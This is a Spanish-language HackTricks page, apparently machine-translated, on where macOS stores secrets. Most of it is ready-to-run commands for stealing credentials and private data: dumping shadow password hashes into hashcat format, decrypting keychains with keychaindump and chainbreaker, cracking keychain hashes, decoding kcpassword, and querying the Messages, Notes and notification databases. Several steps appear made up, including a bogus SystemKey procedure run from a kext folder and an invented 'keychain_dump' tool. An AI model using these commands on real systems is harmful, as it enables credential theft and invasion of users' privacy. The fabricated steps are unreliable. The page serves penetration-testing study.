hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md
carlospolop 466ebcbb16 f
2023-06-05 20:30:03 +02:00

15 KiB

Ubicaciones Sensibles de macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Contraseñas

Contraseñas Shadow

La contraseña Shadow se almacena con la configuración del usuario en plists ubicados en /var/db/dslocal/nodes/Default/users/.
El siguiente comando se puede utilizar para volcar toda la información sobre los usuarios (incluida la información de hash):

for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done

Scripts como este o este otro se pueden utilizar para transformar el hash al formato de hashcat.

Una alternativa en una sola línea que volcará las credenciales de todas las cuentas no de servicio en formato hashcat -m 7100 (macOS PBKDF2-SHA512):

sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

Volcado de llavero

Tenga en cuenta que al utilizar el binario de seguridad para volcar las contraseñas descifradas, se le pedirá al usuario que permita esta operación en varias ocasiones.

#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)

Keychaindump

El atacante aún necesita obtener acceso al sistema y escalar a privilegios de root para ejecutar keychaindump. Este enfoque viene con sus propias condiciones. Como se mencionó anteriormente, al iniciar sesión, su llavero se desbloquea por defecto y permanece desbloqueado mientras usa su sistema. Esto es por conveniencia para que el usuario no tenga que ingresar su contraseña cada vez que una aplicación desea acceder al llavero. Si el usuario ha cambiado esta configuración y ha elegido bloquear el llavero después de cada uso, keychaindump ya no funcionará; depende de un llavero desbloqueado para funcionar.

Es importante entender cómo Keychaindump extrae contraseñas de la memoria. El proceso más importante en esta transacción es el "securityd" proceso. Apple se refiere a este proceso como un daemon de contexto de seguridad para operaciones de autorización y criptográficas. Las bibliotecas de desarrolladores de Apple no dicen mucho al respecto; sin embargo, nos dicen que securityd maneja el acceso al llavero. En su investigación, Juuso se refiere a la clave necesaria para descifrar el llavero como "La Clave Maestra". Se deben tomar una serie de pasos para adquirir esta clave, ya que se deriva de la contraseña de inicio de sesión de OS X del usuario. Si desea leer el archivo del llavero, debe tener esta clave maestra. Los siguientes pasos se pueden realizar para adquirirla. Realice un escaneo del heap de securityd (keychaindump lo hace con el comando vmmap). Las posibles claves maestras se almacenan en un área marcada como MALLOC_TINY. Puede ver las ubicaciones de estos heaps usted mismo con el siguiente comando:

sudo vmmap <securityd PID> | grep MALLOC_TINY

Keychaindump buscará en los montones de memoria devueltos las ocurrencias de 0x0000000000000018. Si el siguiente valor de 8 bytes apunta al montón actual, hemos encontrado una posible clave maestra. A partir de aquí, todavía es necesario realizar un poco de desofuscación que se puede ver en el código fuente, pero como analista, la parte más importante a tener en cuenta es que los datos necesarios para descifrar esta información se almacenan en la memoria del proceso de securityd. Aquí hay un ejemplo de la salida de keychain dump.

sudo ./keychaindump

{% hint style="danger" %} Basado en este comentario juuso/keychaindump#10 (comment), parece que estas herramientas ya no funcionan en Big Sur. {% endhint %}

chainbreaker

Chainbreaker se puede utilizar para extraer los siguientes tipos de información de un llavero OSX de manera forense:

  • Contraseña de llavero con hash, adecuada para descifrar con hashcat o John the Ripper
  • Contraseñas de Internet
  • Contraseñas genéricas
  • Claves privadas
  • Claves públicas
  • Certificados X509
  • Notas seguras
  • Contraseñas de Appleshare

Dado la contraseña de desbloqueo del llavero, una clave maestra obtenida usando volafox o volatility, o un archivo de desbloqueo como SystemKey, Chainbreaker también proporcionará contraseñas en texto plano.

Sin uno de estos métodos para desbloquear el llavero, Chainbreaker mostrará toda la información disponible.

Volcar claves de llavero

#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain

Volcar claves del llavero (con contraseñas) con SystemKey

SystemKey es una herramienta que permite a los atacantes obtener contraseñas almacenadas en el llavero de macOS. Para utilizar esta técnica, primero se debe obtener acceso de root en el sistema objetivo. Luego, se debe ejecutar el siguiente comando en la terminal:

/System/Library/Extensions/System.kext/PlugIns/ACPI_SMC_PlatformPlugin.kext/Contents/Resources/

Una vez en la carpeta de recursos, se debe ejecutar el siguiente comando para volcar las claves del llavero:

./keychaindump

Este comando generará un archivo llamado keychain.txt que contendrá todas las claves del llavero, incluyendo las contraseñas. Es importante tener en cuenta que este archivo se guardará en la carpeta actual, por lo que se debe tener cuidado al ejecutar este comando en un sistema comprometido.

# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

Volcado de claves del llavero (con contraseñas) rompiendo el hash

Este método implica la extracción de las claves del llavero de un usuario y su posterior descifrado. Para ello, se necesita acceso a la cuenta de usuario y a la contraseña de administrador.

  1. Primero, se debe extraer el archivo de la base de datos del llavero del usuario. Este archivo se encuentra en /Users/<username>/Library/Keychains/login.keychain-db.

  2. A continuación, se debe extraer la clave maestra del llavero. Para ello, se puede utilizar la herramienta security de macOS con el siguiente comando:

    security find-generic-password -ga "login" | grep "password:"
    

    Este comando mostrará la contraseña de administrador en texto claro.

  3. Una vez obtenida la clave maestra, se puede utilizar la herramienta keychain_dump para extraer las claves del llavero en formato XML.

    keychain_dump -d -k <master_key> -o <output_file> <keychain_file>
    
  4. Por último, se puede utilizar la herramienta keychain2john para convertir el archivo XML en un formato que pueda ser utilizado por la herramienta john the ripper.

    keychain2john <output_file> > <hash_file>
    

    El archivo de hash resultante puede ser utilizado para romper la contraseña utilizando john the ripper.

# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

Volcado de claves del llavero (con contraseñas) con volcado de memoria

Siga estos pasos para realizar un volcado de memoria.

#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump

#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

Volcar claves del llavero (con contraseñas) usando la contraseña del usuario

Si conoces la contraseña del usuario, puedes usarla para volcar y descifrar los llaveros que pertenecen al usuario.

#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db

kcpassword

El archivo kcpassword es un archivo que contiene la contraseña de inicio de sesión del usuario, pero solo si el propietario del sistema ha habilitado el inicio de sesión automático. Por lo tanto, el usuario iniciará sesión automáticamente sin que se le solicite una contraseña (lo que no es muy seguro).

La contraseña se almacena en el archivo /etc/kcpassword xored con la clave 0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F. Si la contraseña del usuario es más larga que la clave, la clave se reutilizará.
Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como este.

Información interesante en bases de datos

Mensajes

sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'

Notificaciones

Puedes encontrar los datos de Notificaciones en $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/

La mayoría de la información interesante estará en blob. Por lo tanto, necesitarás extraer ese contenido y transformarlo en algo legible para humanos o usar strings. Para acceder a ello, puedes hacer lo siguiente:

{% code overflow="wrap" %}

cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack

{% endcode %}

Notas

Las notas de los usuarios se pueden encontrar en ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite

sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables

#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done

{% endcode %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥